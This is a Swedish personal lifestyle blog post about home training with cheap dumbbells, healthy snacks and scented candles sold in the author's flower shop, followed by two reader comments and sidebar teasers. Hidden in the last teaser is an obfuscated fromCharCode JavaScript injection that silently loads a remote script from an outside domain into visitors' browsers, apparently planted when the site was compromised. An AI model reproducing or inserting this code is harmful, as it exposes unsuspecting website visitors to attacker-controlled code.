Träning, Tack, och beroende framkallande doftljus =)

_MG_0952

Foto Linda Himsel Hår/makup Sara Sethsson /Rapunzel

hej Fina!

Jag har varit utan körkort ett ganska bra tag nu… Det har ändå funkat förhållandevis ganska bra. Mycket tack vare alla nära och kära som ställer upp. Min nya butiks chef på My’s Blommor Anneli har varit en riktig klippa ! Stort tack till dig Anneli! Sara min väninna i Kalmar har kört på mig i tid och otid, vid ett tillfälle ställde hon till och med klockan mitt i natten strax inna 03:00 för att hämta mig när jag kom med tåhen från köpenhamn efter att ha jobbat i Holland. Min pappa har ställt upp till 1000 sista tiden och skjutsat både mig och lilleman överallt. Det finns många fler jag vill passa på att tacka, andra medarbetare, vänner och bekanta! Så återigen stort TACK!

Problemet för mig är ju det att Vi bor i Kalmar, företaget ligger på Öland, dagmamman likaså…. Jag jobbar i Holland och spenderar mycket tid i Stockholm. Men det som jag verkligen har tappas sista veckorna är träningen! SUCK! Det stressar mig inombords! Jag har tagit varje tillfälle jag kunnat, på olika gym, utomhus, hemma osv. har jag varit i Stockholm så är det enkelt, jag bor ju hemma hos Magdalena och Filip, det finns massor utav lika SATS gym som det är gångavstånd till så däruppe är körkortslösheten inget problem…  Men jag saknar mitt gym i Kalmar för det finns verkligen inte på världskartan att jag får ihop logistiken med lämning/hämtning dagmamman, jobbet och gymmet. It doesent work! Grrr! Så mitt dåliga samvete över min halvdana träning kryper inombords! Men idag så var min pappa, Ludvigs morfar och Ludvig på, tro det eller ej, biltema och inhandlade dessa budget varianter utav hantlar:

10384130_734696319902198_4869211420699439331_n

 Men dra mig baklänges så bra dom var! För ett ar hundra lappar så har jag alltså ett kitt som jag kan bygga upp till 25kg per hantel, om jag nu skulle behöva det. Fantastiskt! Så nu har jag kört igenom mitt nya träningspass som jag ska köra ett tag tills min PT Jesper kommer tillbaka från deras träningsresa nere i Spanien. Jag känner mig plötsligt mycket mer tillfreds och mer lycklig efter att jag gett kroppen en ordentlig omgång! Jag kommer att kunna somna med gott samvete och kickar nu igång mig själv till 100% igen =) Bästa känslan!

10274281_734696253235538_5274545235595866916_n

 Kvälls mackan lyxade jag till med knäckebröd och kokt ägg med lite örtsalt på, fantastiskt gott! Jag är helt såld på alla former utav ägg! 😉 Tur att det klassas som nyttigt och bra i kombination med träning ….. 😉

10371680_734773129894517_3968220506901479308_n

 Som kvälls fika blev det äpple, med lättkvarg blandat med vaniljprotein pulver och lite kanel. Det är ett bra alternativ som jag tar till nån gång ibland när söt suget eller smaklökarna skriker efter äpple paj , riktigt gott! =) Proteinpulver hittar ni hos MM Sports klicka HÄR för att komma till dom.

Idag passade jag på att jobba lite medans Ludvig och morfar hade lite kvalitets/egentid och åt middag inne i Kalmar. Regnet har verkligen inte gett med sig idag, det har duggat och spöregnat om vartannat! Jag fick syn på denna ljuvliga clematis som stolt och lite uppnosigt trotsade regnet och höll sig uppe ändå =) Visst är den vacker?

10341414_734696219902208_1832747115601363810_n

Imorgon väntar en lååååång arbetsdag, med både butiken,  beställningar, skötsel utav alla tusentals  trädgårdsväxter som vi har inne i sortimentet just nu. Jag behöver beställa i en ny bil med släp med planteringsjord, kogödsel och alla andra sorter som börjat ta slut, kompletera lite utav våra underbara bas krukor som är handgjorda och heter Boavista. Samt förhoppningsvis ta emot våran order som vi väntar på ifrån Village Candle  Dessa underbara doftljus är totalt beroendeframkallande! har man en gång börjat köpa använda dessa lus så kan man inte luta. Dom är kända för sitt breda sortiment men framförallt för sin långa brinntid Här nedanför kan ni se några utav sorterna som vi väntar på att få in (förhoppningsvis redan imorgon) och vissa har vi redan hemma :

1391686_629700483745547_1748017555_n

935864_537015226347407_875636611_n

Walk on the beach…. bästa sommar sommar doften!

10255284_644262838955978_6706573320192620165_n

Wilde Rose, alltså kan ni tänka er? =)

1486769_600388450010084_766060156_n

10249711_646166545432274_3712596441237981628_n

Cherry blossom, LOVLEY!

1486882_588549321193997_854400174_n

Denna är min absoluta favorit doft!  Pure linnen. Jag satte ett litet ljus (voutiv ljus) inne i badrummet, det luktar fräscht och rent varje gång man kommer in på toan. Perfekt om någon precis har varit inne och gjort Nr 2! Hahaha! Så om du har många i hus hållet tex några tonårsbarn,  så rekommenderar jag dig detta varmt!

1723006_616878421694420_660297397_n

1452317_579604185421844_548897432_n

1376624_568792096503053_1997763920_n

Denna doftar precis som en brownie smakar. galet retsam för smaklökarna. jag som envisas med att förska ge fan i sötsakerna kommer absolut inte att te hem denna till mitt och Ludvigs hem. men om du ska bjuda på fika, ha barnkalas eller något annat så är det perfekt att förhöja känslan med denna om du har nybakade choklad muffins/brownies eller kanske en kladdkaka =)

Detta en perfekt morsdag present! Så för er mammor där ute, tippsa papporna, om att dessa ljus och en bukett blommor skulle vara uppskattat 😉 För min egen del så misstänker jag att jag får göra mig en bukett själv och köpa hem ljus till mig själv om jag ska få någon morsdag present 😉 hehe!

Nehe nu ska jag krama kudden och somna till att lilleman ligger och snarkar, samtidigt som vovven Tezz också snarkar…. jag vet inte vad det är med mina familjemedlemmar idag,  men jösses vilket liv det är 😉

Puss & Kram / My Martens

2 Komentarer

  1. Men vilken gullig pappa du har! Både att hjälpa dig med din son, och att köpa träningsgrejer så du kan kämpa vidare med träningen hemma. Det var ju en perfekt lösning ?
    Jag kör magövningar, ben-rumpa och axlar-armar med hantlar hemma. Jag det inte för att få stora muskler, utan för att jag är så svag så jag behöver stärka upp musklerna för att inte få ont. Det är inte så kul, måste jag erkänna, men nödvändigt..och jag börjar med 1 kg hantlar, för att förhoppningsvis lägga på mer sen (jag är verkligen jättesvag!)
    Lycka till med träningen ?
    Kram

  2. Men vilken gullig pappa du har! Både att hjälpa dig med din son, och att köpa träningsgrejer så du kan kämpa vidare med träningen hemma. Det var ju en perfekt lösning 🙂

    Jag kör magövningar, ben-rumpa och axlar-armar med hantlar hemma. Jag det inte för att få stora muskler, utan för att jag är så svag så jag behöver stärka upp musklerna för att inte få ont. Det är inte så kul, måste jag erkänna, men nödvändigt..och jag börjar med 1 kg hantlar, för att förhoppningsvis lägga på mer sen (jag är verkligen jättesvag!)

    Lycka till med träningen 🙂

    Kram

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/